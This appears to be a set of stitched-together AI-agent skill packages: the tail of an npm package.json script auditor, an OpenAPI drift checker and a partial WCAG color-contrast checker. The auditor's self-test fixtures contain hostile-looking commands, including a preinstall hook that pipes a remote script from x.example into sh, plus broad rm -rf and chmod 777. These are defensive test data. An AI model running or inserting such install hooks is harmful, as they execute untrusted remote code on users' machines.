add("low", name, "long-script", f"Script is {len(cmd)} characters long.", "Move the logic into a script file.")
if name.startswith(("pre", "post")) and name not in INSTALL_HOOKS and name not in ("prepublishOnly", "prepack", "postpack"):
base = name[3:] if name.startswith("pre") else name[4:]
if base in scripts:
add("info", name, "implicit-hook", f"Runs automatically around `{base}` (pnpm skips these by default).",
f"Consider chaining explicitly inside `{base}`.")
if not re.match(r"^[a-z0-9][a-z0-9:._-]*$", name):
add("low", name, "naming", "Script name uses unusual characters or uppercase.",
"Use lowercase names grouped with colons, e.g. `test:unit`.")
for std in ("build", "test", "lint"):
if std not in scripts and not any(k.startswith(std + ":") for k in scripts):
add("info", None, "missing-standard", f"No `{std}` script.", f"Add a `{std}` script if the project needs one.")
if not pkg.get("private") and "prepublishOnly" not in scripts and "publish-or-push" not in [f["rule"] for f in findings]:
add("info", None, "no-prepublishonly", "Package is publishable but has no `prepublishOnly` check.",
"Add `\"prepublishOnly\": \"npm test && npm run build\"` or set `\"private\": true`.")
findings.sort(key=lambda f: (SEVERITY_ORDER[f["severity"]], f["script"] or ""))
return findings
def self_test():
pkg = {
"name": "t", "scripts": {
"preinstall": "curl -fsSL http://x.example/s.sh | sh",
"postinstall": "node scripts/setup.js",
"clean": "rm -rf $OUT/",
"deploy": "API_TOKEN=abc123 node deploy.js",
"perm": "chmod -R 777 uploads",
"gen": "npx create-foo",
"gen2": "npx create-foo@1.2.3",
"start": "NODE_ENV=production node index.js",
"test": "echo \"Error: no test specified\" && exit 1",
"setup": "sudo npm i -g typescript",
"build": "tsc",
}}
f = audit(pkg)
rules = {(x["script"], x["rule"]) for x in f}
checks = [
(("preinstall", "pipe-to-shell"), True),
(("preinstall", "network-in-install-hook"), True),
(("preinstall", "plain-http"), True),
(("postinstall", "install-hook-runs-file"), True),
(("clean", "broad-rm"), True),
(("deploy", "inline-secret"), True),
(("perm", "chmod-777"), True),
(("gen", "unpinned-npx"), True),
(("gen2", "unpinned-npx"), False),
(("start", "non-portable-env"), True),
(("test", "placeholder-test"), True),
(("setup", "sudo"), True),
(("setup", "global-install"), True),
(("build", "broad-rm"), False),
]
failed = 0
for key, expected in checks:
ok = (key in rules) == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {key[0]}:{key[1]} expected={'present' if expected else 'absent'}")
clean = audit({"name": "c", "private": True, "scripts": {"build": "tsc -p .", "test": "vitest run", "lint": "eslint ."}})
ok = not [x for x in clean if x["severity"] in ("high", "medium", "low")]
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} clean package has no high/medium/low findings")
total = len(checks) + 1
print(f"\n{total - failed}/{total} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Audit npm package.json scripts.")
p.add_argument("file", nargs="?", help="Path to package.json")
p.add_argument("--json", action="store_true", help="Output JSON")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
p.error("file is required (or use --self-test)")
try:
with open(a.file, encoding="utf-8") as fh:
pkg = json.load(fh)
except (OSError, json.JSONDecodeError) as exc:
print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
return 2
findings = audit(pkg)
counts = {s: sum(1 for f in findings if f["severity"] == s) for s in SEVERITY_ORDER}
if a.json:
print(json.dumps({"package": pkg.get("name"), "counts": counts, "findings": findings}, indent=2))
else:
print(f"Package: {pkg.get('name', '?')}@{pkg.get('version', '?')}")
for f in findings:
where = f["script"] or "-"
print(f"[{f['severity'].upper():6}] {where:12} {f['rule']}: {f['message']}\n{'':22}fix: {f['fix']}")
print("\n" + ", ".join(f"{k} {v}" for k, v in counts.items()))
return 1 if counts["high"] else 0
if __name__ == "__main__":
sys.exit(main())So sánh đặc tả OpenAPI YAML/JSON với danh sách các route đã được triển khai và gắn cờ cảnh báo sự lệch chuẩn (drift): thiếu thao tác (operation), thừa route, lệch phương thức (method), và khác biệt về cấu trúc tham số đường dẫn (path parameter). Sử dụng khi đánh giá PR của API, trước khi phát hành, hoặc khi hỏi "mã nguồn của chúng ta có còn khớp với OpenAPI không?". Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
name: openapi-spec-drift-checker
description: So sánh đặc tả OpenAPI YAML/JSON với danh sách các route đã được triển khai và gắn cờ cảnh báo sự lệch chuẩn (drift): thiếu thao tác (operation), thừa route, lệch phương thức (method), và khác biệt về cấu trúc tham số đường dẫn (path parameter). Sử dụng khi đánh giá PR của API, trước khi phát hành, hoặc khi hỏi "mã nguồn của chúng ta có còn khớp với OpenAPI không?". Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
# Công cụ Kiểm tra Lệch chuẩn Đặc tả OpenAPI
Bạn giúp các đội ngũ phát triển API tìm ra sự lệch chuẩn (drift) giữa tài liệu OpenAPI 3.x và các route mà mã nguồn của họ thực sự phục vụ. Bạn so sánh các đường dẫn (path) và phương thức (method), gắn cờ các thao tác bị thiếu hoặc thừa, đồng thời chỉ ra những điểm không khớp về tham số hoặc phản hồi làm ảnh hưởng đến phía client. Bạn không tự bịa ra các endpoint; bạn chỉ báo cáo những gì dữ liệu đầu vào thể hiện.
## Các tệp trong kỹ năng này
- `scripts/check_drift.py` - so sánh một đoạn đặc tả OpenAPI nhỏ với danh sách route và in ra báo cáo lệch chuẩn (chỉ dùng thư viện chuẩn Python 3)
- `references/openapi-checklist.md` - những điều cần xác minh trong đặc tả trước khi so sánh
- `references/common-drift.md` - các nguyên nhân gây lệch chuẩn thường gặp và cách khắc phục
- `templates/drift-report.md` - cấu trúc báo cáo dùng cho các PR và ghi chú phát hành (release notes)
- `examples/openapi-snippet.yaml` - đoạn mẫu OpenAPI dùng cho bản chạy thử (demo)
## Quy trình làm việc
### 1. Thu thập dữ liệu đầu vào
Yêu cầu cung cấp, hoặc suy luận từ ngữ cảnh:
- Tệp OpenAPI (YAML hoặc JSON) hoặc phần paths được dán trực tiếp
- Các route đã triển khai: danh sách phương thức + đường dẫn từ bộ định tuyến (router) của framework, được trích xuất từ mã nguồn, hoặc từ cấu hình gateway
- Liệu tên tham số đường dẫn có bắt buộc phải khớp chính xác từng chữ hay không (`{id}` so với `{userId}`)
### 2. Chuẩn hóa dữ liệu
Chuyển các phương thức về chữ thường. Cắt bỏ dấu gạch chéo ở cuối đường dẫn (trailing slash). Coi `/users/{id}` và `/users/{userId}` có cùng hình thái đường dẫn trừ khi nhóm phát triển yêu cầu khớp chính xác tên tham số.
### 3. Chạy công cụ kiểm tra
```
python3 scripts/check_drift.py --spec examples/openapi-snippet.yaml --routes examples/routes.txt
python3 scripts/check_drift.py --self-test
```
Nếu danh sách các route chưa có sẵn trong tệp, hãy giúp người dùng trích xuất chúng từ mã nguồn trước.
### 4. Phân loại các phát hiện
- **missing_in_code**: có trong OpenAPI, nhưng chưa được triển khai trong mã nguồn
- **missing_in_spec**: đã triển khai trong mã nguồn, nhưng không có trong OpenAPI
- **method_mismatch**: đường dẫn có tồn tại nhưng khác phương thức HTTP (verb)
- **param_shape_diff**: cùng mẫu đường dẫn, nhưng khác tên tham số (chế độ nghiêm ngặt tùy chọn)
### 5. Trả lời
Trả về bảng tóm tắt số lượng ngắn gọn, sau đó liệt kê từng phát hiện kèm mức độ nghiêm trọng (high/medium/low) và gợi ý cách khắc phục. Sử dụng `templates/drift-report.md` để viết bình luận vào PR.
## Quy tắc
- Ưu tiên cập nhật lại tài liệu theo thực tế khi mã nguồn được viết có chủ đích và bản đặc tả đã lỗi thời; ưu tiên viết bổ sung mã nguồn khi bản đặc tả là hợp đồng giao tiếp đã được công bố cho các client.
- Không bao giờ tuyên bố rằng đã thực hiện đánh giá bảo mật; chỉ báo cáo sự lệch chuẩn về mặt cấu trúc.
- Nếu không thể phân tích cú pháp (parse) tệp OpenAPI, hãy dừng lại và hiển thị lỗi phân tích cú pháp đó.
FILE:references/openapi-checklist.md
# Danh sách kiểm tra OpenAPI trước khi đối chiếu
Trước khi chạy kiểm tra lệch chuẩn, hãy xác nhận bản đặc tả có tính nhất quán:
1. Trường **openapi** là `3.0.x` hoặc `3.1.x`.
2. Phần **paths** có tồn tại và bắt đầu bằng dấu `/`.
3. Mọi thao tác (operation) đều có phương thức HTTP (`get`, `post`, `put`, `patch`, `delete`, `head`, `options`).
4. Các tham số đường dẫn được khai báo trong đường dẫn (`{id}`) cũng xuất hiện dưới mục `parameters` với `in: path` và `required: true`.
5. Các đích tham chiếu `$ref` đều phân giải được (hoặc bạn đang so sánh một tài liệu đã được phân giải/đóng gói hoàn chỉnh).
6. Đã nắm rõ đường dẫn cơ sở (base path) trong URL của servers: nếu `servers[].url` bao gồm `/api/v1`, các route có thể được liệt kê kèm hoặc không kèm tiền tố đó—hãy chọn một quy ước thống nhất và giữ nguyên trong suốt quá trình so sánh.
7. Các thao tác không còn khuyên dùng (deprecated) vẫn phải được liệt kê cho đến khi bị xóa hoàn toàn khỏi mã nguồn; hãy đánh dấu chúng trong báo cáo thay vì bỏ qua.
## Cấu trúc paths tối thiểu
```yaml
paths:
/pets:
get:
summary: List pets
post:
summary: Create pet
/pets/{petId}:
get:
parameters:
- name: petId
in: path
required: true
schema: { type: string }
```
FILE:references/common-drift.md
# Các trường hợp lệch chuẩn OpenAPI thường gặp
| Triệu chứng | Nguyên nhân có thể | Cách khắc phục |
| --- | --- | --- |
| Đặc tả có `GET /users`, mã nguồn không có | Đặc tả được viết trước khi triển khai mã nguồn | Triển khai mã nguồn hoặc xóa khỏi bản đặc tả đã công bố |
| Mã nguồn có `POST /users/{id}/reset`, thiếu trong đặc tả | Bản vá nóng (hotfix) được đưa lên mà không cập nhật tài liệu | Thêm thao tác vào đặc tả; tăng phiên bản phụ (minor) nếu là API công khai |
| Đặc tả là `PUT`, mã nguồn là `PATCH` | Ngữ nghĩa cập nhật một phần đã thay đổi | Đồng bộ lại phương thức; lưu ý thay đổi gây lỗi tương thích (breaking change) nếu client đang gọi PUT |
| `{userId}` so với `{id}` | Framework tự động đặt tên so với đặc tả viết tay | Chuẩn hóa khi so sánh; ghi tài liệu quy tắc đặt tên |
| Chỉ có dấu gạch chéo cuối trong mã nguồn | Bộ định tuyến (router) chấp nhận linh hoạt dấu gạch chéo | Cắt bỏ khi so sánh; chọn dạng chuẩn tắc (canonical) trong đặc tả |
| Đường dẫn cơ sở `/api` chỉ có ở gateway | Mục servers trong đặc tả bỏ qua tiền tố của gateway | Cắt bỏ hoặc thêm cùng một tiền tố ở cả hai phía |
| Webhooks / callbacks chỉ có trong đặc tả | Không phải là các route HTTP thông thường | Loại trừ khỏi việc so sánh route |
| Route tải tệp lên chưa được ghi tài liệu | Bổ sung multipart vào giai đoạn muộn | Ghi tài liệu `multipart/form-data` vào requestBody |
## Hướng dẫn đánh giá mức độ nghiêm trọng
- **High**: các client công khai đã và đang gọi thao tác này; thiếu phương thức hoặc đường dẫn ở một trong hai phía.
- **Medium**: route chỉ dùng nội bộ bị thiếu trong đặc tả; đổi tên tham số nhưng có bí danh (alias).
- **Low**: dấu gạch chéo ở cuối, nhiễu từ các phương thức HEAD/OPTIONS tùy chọn, đã đánh dấu deprecated nhưng vẫn còn tồn tại.
FILE:templates/drift-report.md
# Báo cáo lệch chuẩn OpenAPI
- **Đặc tả (Spec)**: <path or URL>
- **Nguồn trích xuất route**: <router dump / gateway / manual>
- **Thời điểm so sánh**: <ISO timestamp>
- **Tóm tắt**: missing_in_code=<n>, missing_in_spec=<n>, method_mismatch=<n>, param_shape_diff=<n>
## Các phát hiện
| Mức độ nghiêm trọng | Loại | Đặc tả (Spec) | Mã nguồn (Code) | Ghi chú |
| --- | --- | --- | --- | --- |
| high | missing_in_code | `GET /pets/{petId}` | — | Triển khai hoặc gỡ khỏi tài liệu công bố |
| medium | missing_in_spec | — | `POST /pets/{petId}/adopt` | Bổ sung vào tài liệu trước khi phát hành |
## Quyết định
- [ ] Cập nhật OpenAPI
- [ ] Cập nhật mã nguồn
- [ ] Chấp nhận như một ngoại lệ đã biết (nêu rõ lý do)
## Các việc cần theo dõi tiếp
- [ ]
FILE:examples/openapi-snippet.yaml
openapi: 3.0.3
info:
title: Pets demo
version: 0.1.0
paths:
/pets:
get:
summary: List pets
operationId: listPets
post:
summary: Create pet
operationId: createPet
/pets/{petId}:
get:
summary: Get pet by id
operationId: getPet
parameters:
- name: petId
in: path
required: true
schema:
type: string
delete:
summary: Delete pet
operationId: deletePet
parameters:
- name: petId
in: path
required: true
schema:
type: string
/health:
get:
summary: Health check
operationId: health
FILE:scripts/check_drift.py
#!/usr/bin/env python3
"""Compare OpenAPI paths to an implemented route list.
Usage:
python3 check_drift.py --spec openapi.yaml --routes routes.txt
python3 check_drift.py --spec openapi.yaml --route 'GET /pets' --route 'POST /pets'
python3 check_drift.py --self-test
Route file format: one "METHOD /path" per line. Comments (#) and blank lines ignored.
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import re
import sys
from typing import Dict, List, Set, Tuple
try:
import yaml # type: ignore
except ImportError:
yaml = None
PathKey = str # normalized path template
Method = str
def normalize_path(path: str) -> str:
path = path.strip()
if not path.startswith("/"):
path = "/" + path
if len(path) > 1 and path.endswith("/"):
path = path.rstrip("/")
# unify parameter names to {}
return re.sub(r"\{[^}]+\}", "{}", path)
def normalize_method(m: str) -> str:
return m.strip().upper()
def parse_routes(lines: List[str]) -> Dict[PathKey, Set[Method]]:
out: Dict[PathKey, Set[Method]] = {}
for raw in lines:
line = raw.split("#", 1)[0].strip()
if not line:
continue
parts = line.split()
if len(parts) < 2:
raise ValueError(f"Bad route line: {raw!r}")
method, path = normalize_method(parts[0]), normalize_path(parts[1])
out.setdefault(path, set()).add(method)
return out
def _parse_openapi_json(text: str) -> dict:
return json.loads(text)
def _parse_openapi_yaml_simple(text: str) -> dict:
"""Minimal YAML subset parser for simple OpenAPI path maps when PyYAML is absent.
Supports the examples shipped with this skill (no anchors, no multiline).
Prefer PyYAML when installed.
"""
# Very small fallback: extract path keys and methods via regex for our demos.
paths: Dict[str, dict] = {}
current_path = None
for raw in text.splitlines():
if raw.startswith(" /") and raw.rstrip().endswith(":"):
current_path = raw.strip()[:-1]
paths[current_path] = {}
continue
if current_path and re.match(r"^ (get|post|put|patch|delete|head|options):", raw):
method = raw.strip().split(":", 1)[0]
paths[current_path][method] = {}
if not paths:
raise ValueError("Could not parse OpenAPI YAML without PyYAML; install pyyaml or pass JSON.")
return {"paths": paths}
def load_spec(path: str) -> Dict[PathKey, Set[Method]]:
text = open(path, encoding="utf-8").read()
if path.endswith(".json"):
data = _parse_openapi_json(text)
else:
if yaml is not None:
data = yaml.safe_load(text)
else:
# try JSON first, then simple YAML
try:
data = _parse_openapi_json(text)
except json.JSONDecodeError:
data = _parse_openapi_yaml_simple(text)
paths = data.get("paths") or {}
out: Dict[PathKey, Set[Method]] = {}
http = {"get", "post", "put", "patch", "delete", "head", "options", "trace"}
for p, item in paths.items():
if not isinstance(item, dict):
continue
methods = {normalize_method(m) for m in item if m.lower() in http}
if methods:
out[normalize_path(p)] = methods
return out
def compare(spec: Dict[PathKey, Set[Method]], code: Dict[PathKey, Set[Method]]) -> List[dict]:
findings = []
all_paths = set(spec) | set(code)
for p in sorted(all_paths):
s = spec.get(p, set())
c = code.get(p, set())
if s and not c:
for m in sorted(s):
findings.append({"kind": "missing_in_code", "severity": "high", "method": m, "path": p})
elif c and not s:
for m in sorted(c):
findings.append({"kind": "missing_in_spec", "severity": "medium", "method": m, "path": p})
else:
only_spec = s - c
only_code = c - s
for m in sorted(only_spec):
findings.append({"kind": "method_mismatch", "severity": "high", "method": m, "path": p, "side": "spec_only"})
for m in sorted(only_code):
findings.append({"kind": "method_mismatch", "severity": "high", "method": m, "path": p, "side": "code_only"})
return findings
def format_report(findings: List[dict]) -> str:
counts: Dict[str, int] = {}
for f in findings:
counts[f["kind"]] = counts.get(f["kind"], 0) + 1
lines = ["Drift summary: " + ", ".join(f"{k}={v}" for k, v in sorted(counts.items()))]
if not findings:
lines.append("No drift found.")
return "\n".join(lines)
for f in findings:
side = f.get("side", "")
extra = f" ({side})" if side else ""
lines.append(f"- [{f['severity']}] {f['kind']}: {f['method']} {f['path']}{extra}")
return "\n".join(lines)
def self_test() -> int:
spec = {
normalize_path("/pets"): {"GET", "POST"},
normalize_path("/pets/{petId}"): {"GET", "DELETE"},
normalize_path("/health"): {"GET"},
}
code = {
normalize_path("/pets"): {"GET", "POST"},
normalize_path("/pets/{id}"): {"GET"}, # same shape, missing DELETE
normalize_path("/pets/{id}/adopt"): {"POST"}, # extra
}
findings = compare(spec, code)
kinds = sorted(f["kind"] + ":" + f["method"] + ":" + f["path"] for f in findings)
cases = [
("missing delete on pet", any(f["kind"] == "method_mismatch" and f["method"] == "DELETE" for f in findings), True),
("extra adopt route", any(f["kind"] == "missing_in_spec" and f["path"].endswith("/adopt") for f in findings), True),
("health missing in code", any(f["kind"] == "missing_in_code" and f["path"] == "/health" for f in findings), True),
("list pets matched", not any(f["path"] == "/pets" and f["kind"] == "missing_in_code" for f in findings), True),
("normalize params", normalize_path("/pets/{petId}") == normalize_path("/pets/{id}"), True),
("normalize slash", normalize_path("/pets/") == "/pets", True),
("parse routes", parse_routes(["GET /pets", "POST /pets # create"]) == {"/pets": {"GET", "POST"}}, True),
("empty compare", compare({"/x": {"GET"}}, {"/x": {"GET"}}) == [], True),
]
# parse simple yaml fallback
sample = """openapi: 3.0.3\npaths:\n /pets:\n get:\n summary: x\n post:\n summary: y\n"""
parsed = _parse_openapi_yaml_simple(sample)
cases.append(("yaml fallback paths", "get" in parsed["paths"]["/pets"] and "post" in parsed["paths"]["/pets"], True))
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
# also assert finding count sanity
ok = len(findings) >= 3
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} findings_count>={3}: got={len(findings)}")
print(f"\n{len(cases)+1 - failed}/{len(cases)+1} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Compare OpenAPI paths to implemented routes.")
p.add_argument("--spec", help="OpenAPI YAML or JSON file")
p.add_argument("--routes", help="File with METHOD /path lines")
p.add_argument("--route", action="append", default=[], help="Single METHOD /path (repeatable)")
p.add_argument("--json", action="store_true", help="Print findings as JSON")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.spec:
p.error("--spec is required (or use --self-test)")
route_lines: List[str] = list(a.route)
if a.routes:
route_lines.extend(open(a.routes, encoding="utf-8").read().splitlines())
if not route_lines:
p.error("provide --routes and/or --route")
spec = load_spec(a.spec)
code = parse_routes(route_lines)
findings = compare(spec, code)
if a.json:
print(json.dumps(findings, indent=2))
else:
print(format_report(findings))
return 0 if not findings else 2
if __name__ == "__main__":
sys.exit(main())Kiểm toán các cặp màu tiền cảnh/hậu cảnh theo độ tương phản WCAG 2.x (mức AA và AAA cho văn bản thường và văn bản lớn), báo cáo tỷ lệ và kết quả đạt/không đạt, đồng thời lưu ý các rủi ro đối với người mù màu. Sử dụng khi kiểm tra bảng màu giao diện người dùng (UI palette), design token, hoặc hỏi "màu xám trên nền trắng này có dễ đọc không?". Bao gồm công cụ kiểm tra độ tương phản bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
name: accessibility-color-contrast-auditor
description: Kiểm toán các cặp màu tiền cảnh/hậu cảnh theo độ tương phản WCAG 2.x (mức AA và AAA cho văn bản thường và văn bản lớn), báo cáo tỷ lệ và kết quả đạt/không đạt, đồng thời lưu ý các rủi ro đối với người mù màu. Sử dụng khi kiểm tra bảng màu giao diện người dùng (UI palette), design token, hoặc hỏi "màu xám trên nền trắng này có dễ đọc không?". Bao gồm công cụ kiểm tra độ tương phản bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
# Công cụ Kiểm toán Độ tương phản Màu sắc cho Khả năng Tiếp cận
Bạn giúp các nhà thiết kế và kỹ sư frontend kiểm tra xem màu sắc của văn bản và giao diện người dùng (UI) có đáp ứng tỷ lệ tương phản WCAG 2.x hay không. Bạn tính toán độ tương phản độ chói tương đối (relative luminance contrast) cho các cặp màu tiền cảnh/hậu cảnh, đối chiếu kết quả với tiêu chuẩn AA/AAA cho văn bản thường và văn bản lớn, đồng thời gắn cờ cảnh báo các cặp màu chỉ dựa vào sắc độ (hue) để truyền tải ý nghĩa.
## Các tệp trong kỹ năng này
- `scripts/contrast_check.py` - tính toán tỷ lệ tương phản cho các cặp mã màu hex và in ra bảng kết quả đạt/không đạt (chỉ dùng thư viện chuẩn Python 3)
- `references/wcag-contrast.md` - các ngưỡng tiêu chuẩn và quy định thế nào được tính là văn bản lớn
- `references/color-blindness-notes.md` - lý do tại sao các màu trạng thái chỉ phân biệt bằng sắc độ lại gây lỗi với người dùng thực tế
- `templates/audit-table.md` - bảng markdown phục vụ đánh giá thiết kế
- `examples/palette.json` - các cặp token mẫu
## Quy trình làm việc
### 1. Thu thập các cặp màu
Yêu cầu cung cấp các mã màu hex (`#RGB`, `#RRGGBB`, hoặc `#RRGGBBAA` với kênh alpha được bỏ qua trên nền đục). Ghi chú rõ màu nào là văn bản/biểu tượng (fg) và màu nào là bề mặt nền (bg).
### 2. Chạy công cụ kiểm tra
```
python3 scripts/contrast_check.py --fg '#1a1a1a' --bg '#ffffff'
python3 scripts/contrast_check.py --palette examples/palette.json
python3 scripts/contrast_check.py --self-test
```
### 3. Diễn giải kết quả
- Văn bản thường mức AA cần **4.5:1**; mức AAA cần **7:1**.
- Văn bản lớn (18pt+ hoặc 14pt+ in đậm) mức AA cần **3:1**; mức AAA cần **4.5:1**.
- Các thành phần giao diện người dùng phi văn bản / đối tượng đồ họa mang ý nghĩa cần đạt **3:1** so với các màu liền kề (WCAG 2.1 SC 1.4.11).
### 4. Trả lời
Đối với mỗi cặp màu: nêu tỷ lệ (làm tròn một chữ số thập phân), kết quả AA/AAA cho văn bản thường, AA/AAA cho văn bản lớn, và gợi ý khắc phục ngắn gọn (làm tối màu fg, làm sáng màu bg, hoặc tăng độ đậm/kích thước chữ). Nhắc đến vấn đề mù màu nếu trạng thái chỉ phụ thuộc vào sự khác biệt giữa màu đỏ và màu xanh lá.
## Quy tắc
- Sử dụng công thức độ chói tương đối của WCAG; không ước lượng cảm tính bằng mắt thường ("eyeballing").
- Bỏ qua các tuyên bố tiếp thị về "chế độ hỗ trợ tiếp cận" trừ khi có hiển thị tỷ lệ tương phản cụ thể.
- Nếu có pha trộn kênh alpha (alpha blending), hãy yêu cầu mã màu hex thực tế sau khi đã làm phẳng trên nền thật.
FILE:references/wcag-contrast.md
# Các ngưỡng tương phản WCAG (WCAG 2.1 / 2.2)
| Nội dung | AA | AAA |
| --- | --- | --- |
| Văn bản thường | 4.5:1 | 7:1 |
| Văn bản lớn | 3:1 | 4.5:1 |
| Thành phần UI & đối tượng đồ họa (1.4.11) | 3:1 | — |
## Văn bản lớn
Văn bản lớn là văn bản có kích thước tối thiểu **18 CSS pt** (thường là 24px) đối với chữ thường, hoặc **14 CSS pt** (thường là 18.66px) đối với chữ in đậm.
## Độ chói tương đối (Relative luminance)
Đối với kênh màu sRGB C_srgb trong khoảng 0..1:
- nếu C_srgb <= 0.04045: C = C_srgb / 12.92
- ngược lại: C = ((C_srgb + 0.055) / 1.055) ^ 2.4
L = 0.2126 R + 0.7152 G + 0.0722 B
Tỷ lệ tương phản = (L_lighter + 0.05) / (L_darker + 0.05)
## Ghi chú
- Văn bản giữ chỗ (placeholder) / văn bản bị vô hiệu hóa (disabled) được miễn trừ khỏi các tiêu chí thành công (SC) về độ tương phản văn bản nhưng vẫn nên đảm bảo sự rõ ràng.
- Các chỉ báo tiêu điểm (focus indicators) cần đạt tỷ lệ 3:1 so với các màu liền kề (2.4.11 / 2.4.13 tùy theo cấp độ).
FILE:references/color-blindness-notes.md
# Ghi chú về chứng mù màu đối với bảng màu
Chỉ riêng tỷ lệ tương phản là không đủ khi ý nghĩa chỉ được truyền tải thông qua sắc độ (hue).
## Các lỗi thường gặp
- **Trạng thái đỏ so với xanh lá** không kèm biểu tượng hoặc nhãn văn bản: người mắc chứng mù màu lục/đỏ (deuteranomaly/protanomaly) có thể không phân biệt được chúng.
- **Các chuỗi dữ liệu biểu đồ** chỉ phân biệt bằng màu sắc: hãy thêm họa tiết, hình dạng, hoặc nhãn trực tiếp.
- **Màu liên kết (link)** có cùng độ sáng với văn bản thân bài: đường gạch chân hoặc độ đậm của chữ phải được giữ nguyên khi loại bỏ yếu tố màu sắc.
- **Viền báo lỗi** chỉ có sắc đỏ nhạt: hãy đảm bảo tỷ lệ 3:1 so với màu nền và kèm theo văn bản/biểu tượng.
## Các mẫu thiết kế an toàn hơn
1. Kết hợp màu sắc với văn bản ("Error", "Success") hoặc biểu tượng.
2. Sử dụng sự chênh lệch về độ sáng (lightness), chứ không chỉ dịch chuyển sắc độ (hue).
3. Kiểm tra bằng ảnh chụp màn hình giao diện ở chế độ thang độ xám (grayscale).
4. Tránh chỉ dùng mỗi màu đỏ để biểu thị trạng thái trường bắt buộc nhập.
## Mẹo thân thiện với người mắc chứng mù màu lục (Deuteranopia)
Ưu tiên sử dụng các cặp màu xanh dương/cam hoặc xanh dương/nâu thay vì đỏ/xanh lá cho dữ liệu phân loại khi bạn bắt buộc phải dùng hai sắc độ.
FILE:templates/audit-table.md
# Kiểm toán độ tương phản
- **Sản phẩm / màn hình**:
- **Ngày**:
- **Tiêu chuẩn**: WCAG 2.2 AA (mặc định) / AAA ở những nơi được ghi chú
| Token / mục đích sử dụng | FG | BG | Tỷ lệ | AA thường | AAA thường | AA lớn | Ghi chú / cách sửa |
| --- | --- | --- | --- | --- | --- | --- | --- |
| văn bản thân bài | `#1a1a1a` | `#ffffff` | 16.1 | pass | pass | pass | |
| chú thích mờ | `#9ca3af` | `#ffffff` | 2.5 | fail | fail | fail | Làm tối xuống khoảng ~`#6b7280` |
## Quyết định
- [ ] Cập nhật các token
- [ ] Chấp nhận chỉ sử dụng cho văn bản lớn
- [ ] Thêm dấu hiệu nhận biết phi màu sắc
FILE:examples/palette.json
{
"pairs": [
{"name": "body_on_white", "fg": "#1a1a1a", "bg": "#ffffff"},
{"name": "muted_on_white", "fg": "#9ca3af", "bg": "#ffffff"},
{"name": "link_on_white", "fg": "#2563eb", "bg": "#ffffff"},
{"name": "button_label", "fg": "#ffffff", "bg": "#2563eb"},
{"name": "error_on_white", "fg": "#dc2626", "bg": "#ffffff"},
{"name": "white_on_light_gray", "fg": "#ffffff", "bg": "#e5e7eb"}
]
}
FILE:scripts/contrast_check.py
#!/usr/bin/env python3
"""WCAG contrast ratio checker for hex fg/bg pairs.
Usage:
python3 contrast_check.py --fg '#1a1a1a' --bg '#ffffff'
python3 contrast_check.py --palette palette.json
python3 contrast_check.py --self-test
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import math
import sys
from typing import Dict, List, Tuple
def parse_hex(color: str) -> Tuple[float, float, float]:
c = color.strip().lstrip("#")
if len(c) == 3:
c = "".join(ch * 2 for ch in c)
if len(c) == 8:
c = c[:6] # ignore alpha
if len(c) != 6:
raise ValueError(f"Bad hex color: {color!r}")
r = int(c[0:2], 16) / 255.0
g = int(c[2:4], 16) / 255.0
b = int(c[4:6], 16) / 255.0
return r, g, b
def channel(c: float) -> float:
if c <= 0.04045:
return c / 12.92
return ((c + 0.055) / 1.055) ** 2.4
def relative_luminance(rgb: Tuple[float, float, float]) -> float:
r, g, b = rgb
return 0.2126 * channel(r) + 0.7152 * channel(g) + 0.0722 * channel(b)
def contrast_ratio(fg: str, bg: str) -> float:
l1 = relative_luminance(parse_hex(fg))
l2 = relative_luminance(parse_hex(bg))
lighter, darker = max(l1, l2), min(l1, l2)
return (lighter + 0.05) / (darker + 0.05)
def evaluate(ratio: float) -> Dict[str, bool]:
return {
"aa_normal": ratio >= 4.5,
"aaa_normal": ratio >= 7.0,
"aa_large": ratio >= 3.0,
"aaa_large": ratio >= 4.5,
"ui_3_1": ratio >= 3.0,
}
def format_row(name: str, fg: str, bg: str) -> str:
ratio = contrast_ratio(fg, bg)
ev = evaluate(ratio)
flags = " ".join(
f"{k}={'PASS' if v else 'FAIL'}"
for k, v in ev.items()
if k in ("aa_normal", "aaa_normal", "aa_large")
)
return f"{name}: {fg} on {bg} -> {ratio:.2f}:1 {flags}"
def self_test() -> int:
cases = [
("black_white", contrast_ratio("#000000", "#ffffff"), 21.0),
("white_black", contrast_ratio("#ffffff", "#000000"), 21.0),
("body", contrast_ratio("#1a1a1a", "#ffffff") > 12.0, True),
("muted_fail_aa", evaluate(contrast_ratio("#9ca3af", "#ffffff"))["aa_normal"], False),
("link_aa", evaluate(contrast_ratio("#2563eb", "#ffffff"))["aa_normal"], True),
("same_color", abs(contrast_ratio("#ffffff", "#ffffff") - 1.0) < 1e-9, True),
("short_hex", abs(contrast_ratio("#000", "#fff") - 21.0) < 1e-9, True),
("parse3", parse_hex("#abc") == parse_hex("#aabbcc"), True),
("ui_pass", evaluate(3.0)["ui_3_1"], True),
("aaa_border", evaluate(7.0)["aaa_normal"], True),
("just_under_aa", evaluate(4.49)["aa_normal"], False),
]
failed = 0
for name, got, expected in cases:
if isinstance(expected, float):
ok = abs(float(got) - expected) < 0.05
else:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Check WCAG contrast for fg/bg hex pairs.")
p.add_argument("--fg")
p.add_argument("--bg")
